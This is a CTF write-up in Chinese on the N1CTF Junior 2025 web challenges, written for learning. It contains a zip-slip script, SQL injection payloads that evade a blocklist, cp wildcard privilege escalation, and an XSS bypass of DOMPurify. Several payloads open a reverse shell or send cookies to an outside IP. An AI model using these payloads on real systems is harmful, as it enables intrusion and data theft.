N1CTF Junior 2025

N1CTF Junior 2025 web wp

WEB

Gavatar

题目给了docker附件,是php代码。简单看了一下web应用,就是一个注册+登录操作,然后可以上传头像。然后就是审计代码:

简单贴几个代码出来:

register.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
require_once 'common.php';

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}

$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';

if (empty($username) || empty($password)) {
    header('Location: index.php?error=Invalid input');
    exit;
}

if (findUserByUsername($username)) {
    header('Location: index.php?error=Username already exists');
    exit;
}


$user = [
    'id' => generateUuid(),
    'username' => $username,
    'password' => password_hash($password, PASSWORD_DEFAULT)
];

$db = getDb();
$db['users'][] = $user;
saveDb($db);

$_SESSION['user_id'] = $user['id'];
header('Location: profile.php');

upload.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
require_once 'common.php';
highlight_file(__FILE__);

$user = getCurrentUser();
if (!$user) header('Location: index.php');

$avatarDir = __DIR__ . '/avatars';
if (!is_dir($avatarDir)) mkdir($avatarDir, 0755);

$avatarPath = "$avatarDir/{$user['id']}";

if (!empty($_FILES['avatar']['tmp_name'])) {
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
        die('Invalid file type');
    }
    move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
} elseif (!empty($_POST['url'])) {
    $image = @file_get_contents($_POST['url']);
    if ($image === false) die('Invalid URL');
    file_put_contents($avatarPath, $image);
}

header('Location: profile.php');

common.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
session_start();

function generateUuid()
{
    return sprintf(
        '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
        mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0x0fff) | 0x4000,
        mt_rand(0, 0x3fff) | 0x8000,
        mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0xffff)
    );
}

function getDb()
{
    $dbPath = __DIR__ . '/../db/db.json';
    if (!file_exists($dbPath)) {
        file_put_contents($dbPath, json_encode(['users' => []]));
    }
    return json_decode(file_get_contents($dbPath), true) ?: ['users' => []];
}

function saveDb($data)
{
    file_put_contents(__DIR__ . '/../db/db.json', json_encode($data, JSON_PRETTY_PRINT));
}

function findUserByUsername($username)
{
    $db = getDb();
    foreach ($db['users'] as $user) {
        if ($user['username'] === $username) return $user;
    }
    return null;
}

function getCurrentUser()
{
    return isset($_SESSION['user_id']) ? findUserById($_SESSION['user_id']) : null;
}

function findUserById($id)
{
    $db = getDb();
    foreach ($db['users'] as $user) {
        if ($user['id'] === $id) return $user;
    }
    return null;
}

avatar.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
require_once 'common.php';

$user = isset($_GET['user']) ? findUserByUsername($_GET['user']) : null;
$defaultAvatar = __DIR__ . '/images/default-avatar.png';

if (!$user) {
    header('Content-Type: image/png');
    readfile($defaultAvatar);
    exit;
}

$avatarPath = __DIR__ . "/avatars/{$user['id']}";

if (!file_exists($avatarPath)) {
    header('Content-Type: image/png');
    readfile($defaultAvatar);
} else {
    header('Content-Type: ' . mime_content_type($avatarPath));
    readfile($avatarPath);
}

审计代码,简单说说逻辑吧,注册时会随机生成强随机的id,然后将其写入到db.json文件中,并且上传的文件会重命名并移动到avatars目录下。在upload.php中,如下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
if (!empty($_FILES['avatar']['tmp_name'])) {
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
        die('Invalid file type');
    }
    move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
} elseif (!empty($_POST['url'])) {
    $image = @file_get_contents($_POST['url']);
    if ($image === false) die('Invalid URL');
    file_put_contents($avatarPath, $image);
}

在这个elseif条件中,可以看到是存在文件读取然后文件写入的操作的,但是如果想要访问,最终的基于点都是需要知道这个id,这里我想了一下,是否能够通过覆盖掉id来进行尝试,两个地方,一个是在json文件中尝试,还有一个是在register.php文件中尝试:

1
2
3
4
5
$user = [
    'id' => generateUuid(),
    'username' => $username,
    'password' => password_hash($password, PASSWORD_DEFAULT)
];

但是在注册后写入json文件时,采用的是json_encode($data, JSON_PRETTY_PRINT)结构,这里是会将特殊符号转义的,所以并不能进行。还有一个就是第二个,经测试,是可以进行覆盖的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function generateUuid()
{
    return sprintf(
        '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
        mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0x0fff) | 0x4000,
        mt_rand(0, 0x3fff) | 0x8000,
        mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0xffff)
    );
}
//$username="'123','id' => '123',";
$user = [
    'id' => generateUuid(),
    'username' => "admmm",
    'id' => "1111"
];

echo $user["id"];
//output:1111

这样是可以进行的。但是,在传参解析时,只会将其设定为一个值。不可能通过一个简单的传参来更改后端的逻辑。

所以只能找其他的地方。最后在avatar.php文件中发现突破点。就简单说说逻辑吧,具体代码回去看。就是通过传参username的值,从db.json文件中获取到整个user的结构(包括id等),然后再获取到id,拼接到avatar来读取文件,然后调用了readfile()读取这个文件,其实就是上传头像后查看头像的功能。只是改了一下逻辑,不是简单的直接访问路径查看,所以这里时可以拿到文件内容的,尝试如下:

前端要求必须为网址,直接用file协议读就行,读取文件:

image-20250214205251475

然后查看头像内容:

image-20250214205312027

成功读取。

给了docker文件,可以知道是需要命令执行readflag的。有回显,调用文件处理函数,php版本为:

image-20250214205557218

直接打CVE-2024-2961,但是需要注意session的问题。记着Session()会自动保存cookie,然后我就在改脚本,一直没改出来,最后改了如下位置:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        cookie = {"username": "fupanc", "password": "123"}
        self.session.post("http://localhost:8000/register.php", data=cookie)

        # cookie = {"username":"fupanc","password":"123"}
        # self.session.post("http://localhost:8000/login.php",data=cookie)

        return self.session.post(self.url, data={"url": path})


    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        self.send(path)
        response=self.session.get("http://localhost:8000/avatar.php?user=fupanc")
        data = response.re.search(b"(.*)", flags=re.S).group(1)
        return base64.decode(data)

然后打就行了:

image-20250215014222970

最后访问flag.txt得到flag:

image-20250215014246128

这里很服的一点是,审代码确实是审出来可以直接在register.php获取到cookie,但是一直打不出来,后面复现的时候发现,就是因为我想要让端口更多元,没有使用docker-compose,导致一直打不出来:

image-20250215014100257

最后尝试使用docker-compose才打出来的。没错!就是在register.php就可以获取到cookie。

——————

traefik

go语言,同样给了源代码。简单审计一下,直接在flag路由就可以获取到flag了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
r.GET("/flag", func(c *gin.Context) {
		xForwardedFor := c.GetHeader("X-Forwarded-For")

		if !strings.Contains(xForwardedFor, "127.0.0.1") {
			c.JSON(400, gin.H{"error": "only localhost can get flag"})
			return
		}

		flag := os.Getenv("FLAG")
		if flag == "" {
			flag = "flag{testflag}"
		}

		c.String(http.StatusOK, flag)
	})

有请求头检测,伪造一下就行。但是直接访问发现是404。那么继续审代码可以发现是文件上传+unzip,想到了zip slip,可以任意文件覆盖,审计源码,在unzip时使用的jion()函数:

image-20250215162822938

可以目录穿越尝试覆盖文件,就是打zip slip了,如下文章:

https://saucer-man.com/information_security/364.html

直接用里面的脚本就行。但是现在需要看在哪里覆盖文件,经过搜索以及翻和审计docker文件,发现traefik就是一个反代理工具,并且通过dynamic.yml文件来进行路由流量的转接:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Dynamic configuration

http:
  services:
    proxy:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"
  routers:
    index:
      rule: Path(`/public/index`)
      entrypoints: [web]
      service: proxy
    upload:
      rule: Path(`/public/upload`)
      entrypoints: [web]
      service: proxy

可以看到这里是没有放行flag路由的。那么就需要尝试伪造一下,注意看这里的注释可以知道是动态配置的,那么就是unzio时解压来覆盖dynamic.yml达到允许flag路由通过的效果。

最开始是直接仿造到上面这个改改就行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Dynamic configuration

http:
  services:
    proxy:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"
  routers:
    index:
      rule: Path(`/public/index`)
      entrypoints: [web]
      service: proxy
    upload:
      rule: Path(`/public/upload`)
      entrypoints: [web]
      service: proxy
      
     flag:
      rule: Path(`/flag`)
      entrypoints: [web]
      service: proxy

成功覆盖后可以访问flag路由了,尝试直接在请求头中用XFF来伪造。但是始终获取不到flag。后面就想,是不是这个traefik工具是不是不会转发原请求头的内容,可以自己改一下go的源码来讲请求头打印出来,最后发现确实是:

image-20250215165651270

会自动转发真实ip。

打的话,生成文件用下面这个脚本就行:

1
2
3
4
5
6
7
import zipfile
# the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
# the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'dynamic.yml'
#destination path of the file
zf.write(fname, '../../.config/dynamic.yml')

有docker,看一下目录结构就知道怎么穿了,或者直接多几个../穿到根目录然后覆盖/app/.config/dynamic.yml就行。

————

搜一下覆盖请求头,可以拿到如下文章:

https://www.azfum.com/archives/wswfale/

里面就提到了可以覆盖请求头,用middlewares:就行,所以使用的dynamic.yml:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
http:
  services:
    proxy:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"
  routers:
    index:
      rule: Path(`/public/index`)
      entrypoints: [web]
      service: proxy
    upload:
      rule: Path(`/public/upload`)
      entrypoints: [web]
      service: proxy
    flag:
      rule: Path(`/flag`)
      entrypoints: [web]
      service: proxy
      middlewares:
        - xff-rewrite
  middlewares:
    xff-rewrite:
      headers:
        customRequestHeaders:
          X-Forwarded-For: "127.0.0.1"

生成zip文件后,上传:

image-20250215165906063

解压成功:

image-20250215165921449

最后再访问flag路由即可:

image-20250215170021669

拿到flag。

backup

简单得RCE ————————

这道题没有docker,简单创了一个docker环境来测试,打的时候棋差一招呀,没找对选项。具体看wp吧。

一开始看页面源代码看到命令执行的地方$_REQUEST["__2025.happy.new.year"],非法参数名问题,post传参就行:_[2025.happy.new.year,直接bash弹个shell,原文件的外面套的system()函数,所以直接传命令就行了(hackbar传参的话需要url编码再传):

image-20250215175850356

这里的/flag是400权限,需要提权。

根目录有一个/backup.sh 文件,文件内容为:

1
2
3
4
5
6
7
8
9
#!/bin/bash
cd /var/www/html/primary
while :
do
    cp -P * /var/www/html/backup/
    chmod 755 -R /var/www/html/backup/
    sleep 15s

done

sh文件内容就不多说了,每隔一段时间就会运行一次,ps -aux命令看一下是否在运行:

image-20250215174444737

在运行,并且是root权限。基本你可以确定是打这个来提权了。

看到这里的*,很熟悉的通配符提权,并且涉及到了cp命令,primary目录可写文件。如果可以创建名为../../../../flag的文件,那么很快就出了,但是在shell中,只会将/视作目录,所以是打不了的。

后面找思路,想到了软链接,那么就是想着软链接链接到/flag目录,然后sh脚本会将软链接带的内容一起给设置为可读权限,需要注意的是,这里使用了-P选项,这个在cp时不会带符号链接,所以需要绕一下。网上搜,说是-a选项可以,打了一下没打出来,后面就没怎么打了。

赛后再搜了一下,-L选项是可以打的,也就是说-L选项会让cp命令复制软链接指向的文件,而-P选项,只会复制软链接本身,所以打不了。

参考文章:

https://www.cnblogs.com/chentiao/p/17363300.html

最后尝试如下:

1
2
3
4
5
cd /var/www/html/primary
echo > -L
ln -s /flag flag123
cd ../backup
cat flag123

就可以得到flag。需要注意,要等sh脚本执行完了再打:

image-20250215175504533

看j1rry师傅的文章,还可以打-H选项,是直接从cp --h选项里面翻出来的,学习一下,感觉通配符提权基本都是考的利用选项来提权。

EasyDB

java题,跟着复现一下。

jadx反编译一下,拿到本地来看一源码。审计路由,发现存在登录路由:

image-20250216161724587

跟进的代码查看,发现存在sql注入:

image-20250216161639954

这里是直接拼接进的username和password,所以是存在sql注入的。

看一下是什么数据库:

image-20250216161824368

h2数据库,道行还浅,以为是打JDBC,搜到一个打H2数据库的文章:

https://xz.aliyun.com/news/13371

里面提到了一个如果可以执行任意H2 SQL的语句,可以通过Alias Script 来进行RCE,打的堆叠注入。参考如下代码:

1
2
3
4
5
6
//创建别名,其实就是创建一个执行函数:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

//调用SHELLEXEC执行命令
CALL SHELLEXEC('id');
CALL SHELLEXEC('whoami');

看代码,可以知道这个是直接会将命令执行的结果回显到页面上的,那么现在就是看怎么进行注入。

需要注意的是,在提交sql语句查询时,会先check()一下:

image-20250216162752412

也就是说有黑名单,黑名单如上。看了一下,是加了小写的,所以这里主要需要绕的是runtime和exec,看这个创建别名的语句,其实就是在里面自定义了一段java命令执行的代码,和正常的Java语句没有什么却比,绕的话还是很好绕的,可以使用unicode编码关键字+反射来进行尝试:

1
2
3
4
5
6
7
8
9
//创建别名,其实就是创建一个执行函数:
CREATE ALIAS CMD AS $$ String cmd(String cmd) throws java.io.IOException { 
Class clazz= Class.forName("java.lang.R\u0075ntime");
java.lang.reflect.Method mGet = clazz.getDeclaredMethod("getR\u0075ntime");
Object gettime = mGet.invoke(null);
java.lang.reflect.Method exee = gettime.getClass().getDeclaredMethod("e\u0078ec",String.class);
exee.invoke(gettime,cmd);}$$;

CALL CMD('whoami');

然后简单精简一下,如下:

1
2
3
4
5
6
//创建别名,其实就是创建一个执行函数:
CREATE ALIAS CMD AS $$ String cmd(String cmd) throws java.io.IOException { 
Object gettime = Class.forName("java.lang.R\u0075ntime").getDeclaredMethod("getR\u0075ntime").invoke(null);
        gettime.getClass().getDeclaredMethod("e\u0078ec",String.class).invoke(gettime,cmd);}$$;

CALL CMD('whoami');

尝试如下构造,然后拼接如下:

1
2
3
SELECT * FROM users WHERE username = 'admin'; CREATE ALIAS CMD AS $$ String cmd(String cmd) throws java.io.IOException { 
Object gettime = Class.forName("java.lang.R\u0075ntime").getDeclaredMethod("getR\u0075ntime").invoke(null);
        gettime.getClass().getDeclaredMethod("e\u0078ec",String.class).invoke(gettime,cmd);}$$; CALL CMD('whoami'); --' AND password = '%s'

这里是我是改成了没有回显的,直接在弹个shell即可:

1
2
admin'; CREATE ALIAS CMD AS $$ String cmd(String cmd) throws Exception { Class clazz= Class.forName("java.lang.R\u0075ntime");java.lang.reflect.Method mGet = clazz.getDeclaredMethod("getR\u0075ntime");Object gettime = mGet.invoke(null);java.lang.reflect.Method exee = gettime.getClass().getDeclaredMethod("e\u0078ec",String.class);exee.invoke(gettime,cmd);return "123"; }$$; 
CALL CMD("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjIzLjE3My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"); --

没弹上,直接被解析成了exec关键字?可能就是这个原因,被waf了。看了一下其他解法,这里还可以使用拼接,比如:

1
2
admin'; CREATE ALIAS CMD AS $$ void cmd(String cmd) throws Exception { String name = "Run"+"time";Class clazz= Class.forName("java.lang."+name);java.lang.reflect.Method mGet = clazz.getDeClaredMethod("get"+name);Object gettime = (Object)mGet.invoke(null);gettime.getClass().getDeclaredMethod("ex"+"ec",String.class).invoke(gettime,cmd);}$$; 
CALL CMD("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjIzLjE3My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"); --

但是构造的语句总是有问题,直接用别人的了,大概如下:

1
admin'; CREATE ALIAS evil AS $$void jerry(String cmd) throws Exception{ String R="R"+"untime";Class<?> c = Class.forName("java.lang."+R);Object rt=c.getMethod("get"+R).invoke(null);c.getMethod("exe"+"c",String.class).invoke(rt,cmd);}$$;CALL evil('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjIzLjE3My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}');--

确实成功弹起了,对比了一下,问题可能存在于类型转换的问题。修修改改自己的poc,还是打不出来,不多纠结了。还可以base64编码这样打:

1
';CREATE ALIAS hello AS $$ String hello() throws Exception { Class c = Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")));java.lang.reflect.Method m1 = c.getMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ==")));Object o = m1.invoke(null);java.lang.reflect.Method m2 = c.getMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw==")), String[].class);m2.invoke(o, new Object[]{new String[]{"/bin/bash", "-c", new String(java.util.Base64.getDecoder().decode("YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjIzLjE3My8yMzMzIDA+JjE="))}});return null; }$$; CALL hello();--

最后打就行了:

image-20250216194839354

注意url编码,以及这个别名应该只能创一次,否则需要重新开环境。最后拿到flag:

image-20250216194939897

——————

参考:

https://j1rry-learn.github.io/posts/2025-n1ctf-junior-web-%E6%96%B9%E5%90%91%E5%85%A8%E8%A7%A3/#gavatar

display

hint:用iframe嵌入子页面可以重新唤起DOM解析器解析script标签

——————

同样是给了docker源码的,node.js。审计源代码,可以看到同样是一个XSS操作,然后有csp限制:

1
2
3
4
5
6
const csp = "script-src 'self'; object-src 'none'; base-uri 'none';";

app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy', csp);
  next();
});

app.js文件内容,可以知道会将所有的路由都设置上了这个限制。

看app.js文件,可以看到是对404页面进行了处理的:

1
2
3
app.use((req, res) => {
  res.status(200).type('text/plain').send(`${decodeURI(req.path)} : invalid path`);
}); // 404 页面

这里和SekaiCTF 2024 Tagless题很像。那么现在来看一下回显:

image-20250216221635144

但是并不能解析为js代码:

image-20250216230614348

控制台也没有看到CSP限制的报错。

再继续看代码,还可以看到有向bot发起请求的地方:

image-20250216221947679

跟进visit()就到了bot的定义代码,代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const puppeteer = require('puppeteer');

const HOST = 'localhost:3000';
const FLAG = process.env.FLAG ?? 'flag{test}';

function sleep(ms) {
  return new Promise(resolve => setTimeout(resolve, ms));
}

const visit = async (text) => {
  const browser = await puppeteer.launch({
    headless: true,
    args: ['--no-sandbox', '--disable-setuid-sandbox']
  });

  await browser.setCookie({
    name: 'flag',
    value: FLAG,
    domain: HOST,
    path: '/',
    httpOnly: false
  });

  const page = await browser.newPage();

  await page.goto(`http://${HOST}/?text=${encodeURI(text)}`);
  await sleep(5000);
  await page.close();
}

module.exports = {visit};

可以看到会在bot中带上flag。然后设置了httponly为false,可以通过XSS来获取。并且这里bot的访问逻辑是只访问/路由并带上我传参的text,这里就是需要利用的点。

现在来看前端引用的js,是一个DOM型XSS:

image-20250216222303198

获取text参数,然后将其base64解码后再检验一下,check的函数内容为:

1
2
3
4
5
6
7
function sanitizeContent(text) {
    // Only allow <h1>, <h2>, tags and plain text
    const config = {
        ALLOWED_TAGS: ['h1', 'h2']
    };
    return DOMPurify.sanitize(text, config);
}

这里利用到了DOMPurify来检验,这是一个用于清理HTML、MathML和SVG的JavaScript的库,也就是可以用来防范XSS攻击。搜索这个库的漏洞,可以得到如下文章:

利用突变XSS绕过DOMPurify 2.0.0

但是我们这里版本为DOMPurify 3.2.3,现在并没有现成的POC来打。

在index.js文件中,有一个点值得注意一下:

1
2
textInput.innerHTML = sanitizedText;             // 写入预览区
contentDisplay.innerHTML = textInput.innerText;  // 写入效果显示区

这里提到了innerHTML和innerText,用一个代码来说明这两个之间的区别:

1
2
3
4
5
6
7
8
9
<div id="example">
<p>Hello <strong>World</strong></p>
</div>

<script>
var content = document.getElementById("example");
console.log(content.innerHTML);
console.log(content.innerText);
</script>

输出为:

1
2
3
<p>Hello <strong>World</strong></p>

Hello World

然后稍微改一点代码:

1
2
3
4
5
6
7
8
9
<div id="example">
<p>Hello &lt;strong&gt;World</strong></p>
</div>

<script>
var content = document.getElementById("example");
console.log(content.innerHTML);
console.log(content.innerText);
</script>

输出为:

1
2
3
<p>Hello &lt;strong&gt;World</p>

Hello <strong>World

从两个结果的对比,可以知道,这里的innerHTML用于获取或设置元素的 HTML 内容,包括所有的 HTML 标签,而innerText则是会解析HTML标签为文本,如果有HTML编码内容,那么就会将其解码一次。可以浅显理解为innerHTML就是获取全部HTML标签的内容,而innerText则是HTML渲染一次,类似于前端渲染的效果

那么这样看来,源代码是存在漏洞的,再粘过来一下:

1
2
textInput.innerHTML = sanitizedText;             // 写入预览区
contentDisplay.innerHTML = textInput.innerText;  // 写入效果显示区

在这里,可以尝试将sanitizedText的内容HTML编码一下,然后textInput.innerText会将其渲染,也就是HTML解码一次。并将其赋值给了内容显示,这样我们就可以在前端显示一个HTML标签出来,尝试如下:

编码:

image-20250216225841933

然后base64编码一次传进去。

成功渲染:

image-20250216225900807

这里在预览时就在前端渲染成了一个标签。但是不会解析。

经过前面的构造,那么contentDisplay前端渲染时就会被渲染为js标签:

image-20250216230254239

但是并没有解析,这是因为内容是动态放置在 <div> 内的,并且由于使用了innerHTML,因此脚本没有执行。这里主要的利用点在contentDisplay,通过将contentDisplay.innerHTML设置为一个正常的html标签,然后插入到DOM树中。(这段代码设计得秒呀)

都是没有解析。那么看此时的Hint:用iframe嵌入子页面可以重新唤起DOM解析器解析script标签。

那么是限制了<script>标签的解析?

尝试一下在404页面使用<iframe>标签嵌入前面的/路由:

image-20250216231440206

似乎是因为?这个get传参符号后面全都被舍弃了?那么嵌套一下404页面:

image-20250216231922116

还是不行,同时,<iframe>标签的src属性还可以直接嵌套javascript协议来直接执行代码,如:

1
<iframe src="javascript:alert(1)"></iframe>

同样的还有<iframe>还有一个srcdoc属性,这个属性可以直接引入<script>标签,如:

1
<iframe srcdoc="<h1>hello</h1><script>alert(1)</script>"></iframe>

并且不受frame-src的影响,虽然这道题的CSP没有设置frame-src,但是可以注意一下,非常的好用。

但是在这里都没有解析。

对于<iframe>标签的利用,如下文章说的比较清楚:

https://blog.huli.tw/2022/04/07/iframe-and-window-open/#iframe-%E7%9A%84-csp

还是不会呀,看了一下别人的wp,是在/路由进行的弹窗,唉,思维还是定式了,还是想着sekaictf的那套打法,那么如下打(可以直接打src,也可以打srcdoc):

1
<iframe srcdoc="<h1>hello</h1><script>alert(1)</script>"></iframe>

用这个payload,还是之前的操作,HTML编码,然后base64编码。

1
http://localhost:53447/?text=Jmx0O2lmcmFtZSBzcmNkb2M9IiZsdDtoMSZndDtoZWxsbyZsdDsvaDEmZ3Q7Jmx0O3NjcmlwdCZndDthbGVydCgxKSZsdDsvc2NyaXB0Jmd0OyImZ3Q7Jmx0Oy9pZnJhbWUmZ3Q7

最后效果如下:

image-20250216234107501

报错了,那么现在就是CSP绕过了,script-src设置为了self。这个就是sekaictf 2024的熟悉操作了,这里直接利用404页面构造即可,还是那个操作,本地引用,前面闭合成多行注释符,后面直接的那行注释掉,留一个完整的js代码,还是用fetch()函数:

image-20250216234621144

然后让iframe来自己引入这个页面:

1
<iframe srcdoc="<h1>hello</h1><script src="/**/fetch('http://47.100.223.173:2333/'+document.cookie)//"></script>"></iframe>

然后还是没弹成功,猜是不是这里两个双引号导致直接出错了,fetch()函数还可以使用反引号(`)指定地址,改成如下这个即可:

1
<iframe srcdoc="<h1>hello</h1><script src='/**/fetch(`http://47.100.223.173:2333/`+document.cookie)//'></script>"></iframe>

然后还是之前的操作,HTML编码后在base64编码,注意要抓包传参,否则浏览器会url编码一次,导致无法成功:image-20250217000430284

最后成功拿到flag:

image-20250217000500277

最后说明一个点:在其他题目中测试,同样的情况,<script>不解析,放在<div>标签中,应该同样是因为innerHTML,这个hint可以用来绕过这个点,并且其他题测试也是同样可以绕过的。

————

总结:很有意思的一道题,我还得练呀,还是应该想到还有/路由有前端渲染的操作,思维还得再开点。

部分出题人的wp:

https://gist.github.com/X1r0z/0c6a4323fd600a07091d6392cb9c77b5

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计